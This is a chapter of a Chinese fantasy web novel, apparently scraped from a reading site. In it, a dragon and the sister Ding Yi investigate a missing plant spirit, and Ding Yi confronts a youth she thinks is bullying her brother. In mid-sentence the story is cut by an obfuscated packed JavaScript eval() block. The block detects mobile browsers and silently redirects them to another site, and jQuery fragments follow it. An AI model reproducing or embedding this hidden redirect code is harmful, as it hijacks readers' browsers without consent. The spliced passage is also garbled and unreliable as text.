59. 第 59 章

作品:《龙和姐姐[人外]

    潭州一中,龙坐在操场边,专注地注视着某个地方。


    突然,一个羽毛球落在不远处的地面。


    龙没有动。


    正好过来的杨光河上前,捡起了羽毛球,递给一个跑过来的女生。


    女生对杨光河鞠躬表示感谢,眼睛却亮晶晶地偷瞄后面的龙。


    等她转身跑回朋友身边,爆发出一阵银铃般的笑声。


    杨光河今天来中学,是受邀来做一场民俗文化讲座。眼前的情景看得他一阵感慨:青春真好。


    感慨完,他低头拍了拍龙的肩膀:“看什么呢?”


    龙回过神,仰起头,冰蓝色的眸子在阳光下反射出碎钻般的光。


    看到是杨光河,他指了指某处。


    顺着龙指的方向,杨光河看到了独自坐在角落的丁立。


    这节是体育课,男生们正分成两组在打篮球,阿锐、耗子、胖子都在场上。


    阿锐在球场上横冲直撞,每个进球都引来一片叫好,俨然是全场的焦点。耗子和胖子则远远缀在另一边,双手撑着膝盖大口喘气,动作敷衍却也没人催促,勉强算是参与了比赛。


    只有丁立没有参加,独自远远抱着腿坐着。


    这孩子看着就瘦弱,不参加比赛,估计是……身体不舒服?


    除此之外,杨光河没看出什么特别的。


    他正想问龙是不是认识这小孩,就听到了机械音:


    「这人,身上的味道,有问题。」


    他身上的味道?


    杨光河挠挠头。隔这么远,他哪闻得出啊。


    龙手腕上电子表的屏幕突然暗了一瞬,表带轻微震动,仿佛有什么无形的东西迅速缩回其中。灵识中,噬信灵的声音响起。


    「闻过了,那个凡人小孩身上,确实是食画鬼的味道。」它的声音凝重,「十有八九,食画鬼就落在他手里了。莫非他也是修行的凡人?不知道他是用了什么歪门邪术。食画鬼怎么会招惹他,莫非是偷吃了他的手机图片,把他手机给弄坏了?」


    絮叨了一阵,它才想起征求龙的意见:「你呢,有什么想法?」


    龙没有说话。他的灵识正如一张无形巨网悄然张开,笼罩整个操场,最后缓缓收束,紧紧缠绕在丁立周身。


    丁立仍抱腿坐在角落,像一座孤岛。


    忽然,他僵硬而迅速地抬起头,视线精准地投向龙的方向,仿佛感知到了灵识无形的触碰。


    这瞬间,龙猛地收回了灵识。


    表盘里的光标焦灼地闪烁,是噬信灵在等待龙的判断。


    噬信灵本以为很快会收到回音,没想到龙却陷入了沉默。


    好半天,灵识里响起龙的声音


    「确实,是他身上的味道。」


    噬信灵激动起来:「对吧!他身上确实有食画鬼的味道。」


    龙摇了摇头。


    不,不对。


    他在丁立身上闻到的,不是食画鬼的味道。


    而是,“丁依”的味道。


    ……


    丁依本以为,对爷爷奶奶,自己早就脱敏了。


    没想到,真坐在他们家里时,她还是如坐针毡。


    两位老人家虽然一把年纪,说话风格还和从前一样,绵里藏针,让人不好过。


    卫君兰不在乎,丁依却实在听得两耳刺挠。


    趁爷爷去厕所,卫君兰的注意力又在和奶奶闲话,丁依赶紧找借口躲去了阳台。


    关上阳台门,她刚呼出一口浊气,一个气鼓鼓的稚嫩童音响起:“丁依,我叫了你半天,怎么不理我?”


    丁依赶紧转头。


    只见一个扎着双髻、一身红袄的小女孩正端坐在阳台栏杆上,脸蛋圆鼓鼓像只红苹果,只有眼下疲惫的淡淡青黑,在这张可爱的娃娃脸上,略微显得有些违和。


    见到这个小女孩,丁依也睁大了眼:“苹果树精?你怎么在这儿?”


    听完丁依解释的前因后果,苹果树精托着肉嘟嘟的腮帮子肉,无奈地叹了一口气。


    “原来如此,你的灵脉居然封了。难怪最近妖行街天翻地覆,也没看你过来。”


    “你呢?干嘛来我爷爷奶奶家?”丁依问她。


    但凡花草树木成精,最喜山清水秀、钟灵毓秀之处,她爷爷奶奶的家可跟这两个词沾不着边。


    “我?我是你奶奶过来的。不过也是刚刚听到你们聊天,我才知道这位凡人老太太是你奶奶,”苹果树精无奈,“我之前在庙旁蹲守了好几天,来往的凡人里,只从你奶奶嗅到了它的味道。”


    丁依一愣:“它的味道?‘它’是指谁?”


    听到她的问题,苹果树精从怀里掏出一截藤蔓。


    那藤蔓有一根鞭子那么长,后半段已枯黑焦脆,唯有靠近梢头的前半截还残存着些许绿意,此刻正有气无力地微微颤动,显得蔫头耷脑。


    摸着这截藤蔓,苹果树精道:“‘它’,是指地锦君。这根藤蔓,就是地锦君为了我,从自己的原身上特意摘下的一截。”


    丁依脑子里转了几圈也没想起地锦君是谁。不过看这藤蔓,估计不是颗什么树,就是株什么花。


    只听苹果树精继续道:“地锦君把它自己的藤蔓送给我,本是作为传音之用。一周前,我正用它与地锦君传音,地锦君的声音突然戛然而止,随即这藤蔓也变得奄奄一息,之后更开始逐节枯死,我察觉不对,来潭州市找地锦君,但在它原本所在的庙外,却不见地锦君的身影。即使我以这截藤蔓为引施术,也感应不到地锦君的本体方位。”


    “所以,你在我奶奶身上闻到的,是那位地锦君的味道?”丁依边问,边忍不住用视线在阳台上的花花草草中梭巡。可别是她奶奶把路边什么保护植物给挖回家了。


    “对,我在你奶奶身上闻到的,正是地锦君的味道。”苹果树精胸有成竹地道。“你是知道的,我们妖怪的嗅觉有多灵,我跟着这老太太一路回到这里,非常确定,她身上就是地锦君的气味。”


    但说着说着,苹果树精的眼神中又流露出一丝疑惑。她自言自语道:“我肯定她身上是地锦君的味道。可是……”


    丁依追问:“你都闻到气味了,干嘛不干脆顺藤摸瓜?”


    “本来是想顺藤摸瓜,可是……当天晚上,她身上那气味,突然就没了。”回忆到此处,苹果树精眼神也有些迷茫。


    “气味说没就没?不是慢慢变淡?”


    苹果树精摇头:“不是慢慢变淡,是干干脆脆地没了。”


    说到这里,她叹了口气,“也怪我大意,味道刚没的时候,我只当是我的鼻子出了岔子,后面反应过来,应该是当晚就发生了什么,只是被我疏忽了。”


    丁依默然。


    树木能成精,往往是经年累月地待在灵气充沛的世外之地,所以攒够修为初入人世时,就格外不通人情世故。


    以丁依对苹果树精的了解,她能循着味道跟到她奶奶家,已经十分不容易,着实不用觉得愧疚。


    苹果树精继续回忆:“意识到不对后,我又在这周围搜寻了三日,但地锦君的气息再也没出现过。今天,我本已彻底放弃准备离开,没想到居然看见了你。我吃了一惊,想引你注意,往你身上丢了几个法术,你却一点反应都没有,吓得我以为你也出了意外,”说到这里,苹果树精都有点恼了,“你这样,还不如普通凡人呢!他们被法术一炸,至少会大惊小怪。你倒好,一点反应也没有。”


    丁依自动忽略了苹果树精的抱怨。她还在纠结前面那半段:“你刚说,地锦君的味道,就这样突然完全消失了?可别是……”最后一刻,她紧急把那几个字咽回嗓子里。


    苹果树精听懂了她想说什么。她摇摇头,举起手中的藤蔓,道:“只要这藤蔓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249074|170623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还活着,地锦君就一时性命无虞。”


    像是回应苹果树精的话,藤蔓那尚存绿意的部分,突然用力晃了两下。可惜,映衬着它后半段焦黑似枯死的枯枝,这晃动更像是徒劳的挣扎。


    见此情景,苹果树精稚嫩的脸上浮现出难以掩饰的焦灼。


    花草树木成精后,枝叶即使离开了本体,依然与本体保持灵力的联结。仅仅三天,藤蔓衰败至此,代表地锦君的灵力在快速枯竭,如此算来,最多再过四天,地锦君的灵力就要消耗殆尽,魂飞魄散。她精心知肚明,留给地锦君的时间不多,可催了几番妖事局,也没等到巡狩使前来潭州。


    也许,只能靠她自己来救地锦君了。


    ……


    放学时分,潭州一中门口的小路。


    今天,这条路也如往常一样,被来接孩子的家长们给彻底堵死。


    看着前方一动不动的车流,驾驶座上的丁依不急不躁。


    反而是卫君兰不停催促丁依:“你弟都放学好一会儿了,万一和咱们错过了怎么办?快给他打个电话。”


    “我弟弟连你的电话都不接,能接我的?”被卫君兰催了几天,丁依已经被催出了逆反心理,此刻被堵在这里,她心里终于冒出了点火气,“我们为什么非要天天追在他屁股后面看他脸色?还是你儿子就是喜欢这种当皇帝的感觉?”


    卫君兰不乐意听:“你是姐姐,这么大人了,应该多包容,别把你弟弟说得那么坏,他最多是青春期犟了点。前两天奶奶生病了,最近期末考这么忙,你弟弟还专门抽时间放学去看她,多关心家人啊。”


    丁依的注意力被她的话吸引:“奶奶前两天生病了?什么病?今天好像没看出来啊。”


    卫君兰咳了几声,有点不好意思说长辈坏话:“也不是什么大病,就是……老太太怀疑自己染上什么不干净的了,嚷嚷全身都不舒服,估计是感染病毒之类的,我说带她去医院,她又不肯去,说要自己去庙里求个符就行。你弟弟说他门口见了面就被奶奶催回来,屋都没进去,不过他觉得奶奶精神头挺足,今天我也亲自观察了,应该问题不大。”


    哦,那就是她奶奶的老毛病——无病呻吟。丁依奶奶有疑病症也不是一天两天,还崇拜伪科学。说起来,她妈当年会信叶瑾瑜这个“大师”能治她,也有这个奶奶的功劳。


    “行,没病就行,今天她还有力气阴阳怪气我,确实是精神头挺足。”丁依嘴里嘟囔。


    她本以为卫君兰又会指责她嚼长辈舌根,没想到话音落下,车里的空气却一片安静。


    卫君兰根本没有注意到丁依说的话。她皱着眉头看向窗外,迟疑了一会儿,才开口问:“丁依,我老花眼看不清,你帮我看看,那边那个人,是不是你弟弟呀?”


    丁依立刻看过去。


    卫君兰看的没错,居然真的是丁立。


    主路旁岔开的巷子,正好对着她们的车。从巷口进去一段,丁立正被一群和他穿着同样校服的身影围着。从他的表情看来,这应该不是一场令他愉快的课后小组活动。


    围着丁立的那群人中,有一个蓝色后脑勺,格外令丁依感到熟悉。


    这个蓝色后脑勺今天没穿校服,只穿着一件简简单单的私服T恤,清清冷冷地站在包围圈中,更显眼了。


    丁依皱起了眉,怎么他也在?


    突然,那个蓝色后脑勺动了。


    他伸出手,五指轻轻扣住丁立胸口的衣服,看似随意地一扯,却不容抗拒地把丁立整个人拎到他的面前。


    看见这一幕,血涌上了丁依的脑袋。


    她哐地打开车门,用仿佛用了缩地诀的步速,飞快地冲到蓝色后脑勺和丁立之间,一把拍开他拎着丁立衣领的手,然后高高仰起头,恶狠狠地盯着对方的蓝眼睛,咬着后槽牙道:


    “呵,哪儿来的小混混?居然欺负我弟弟。”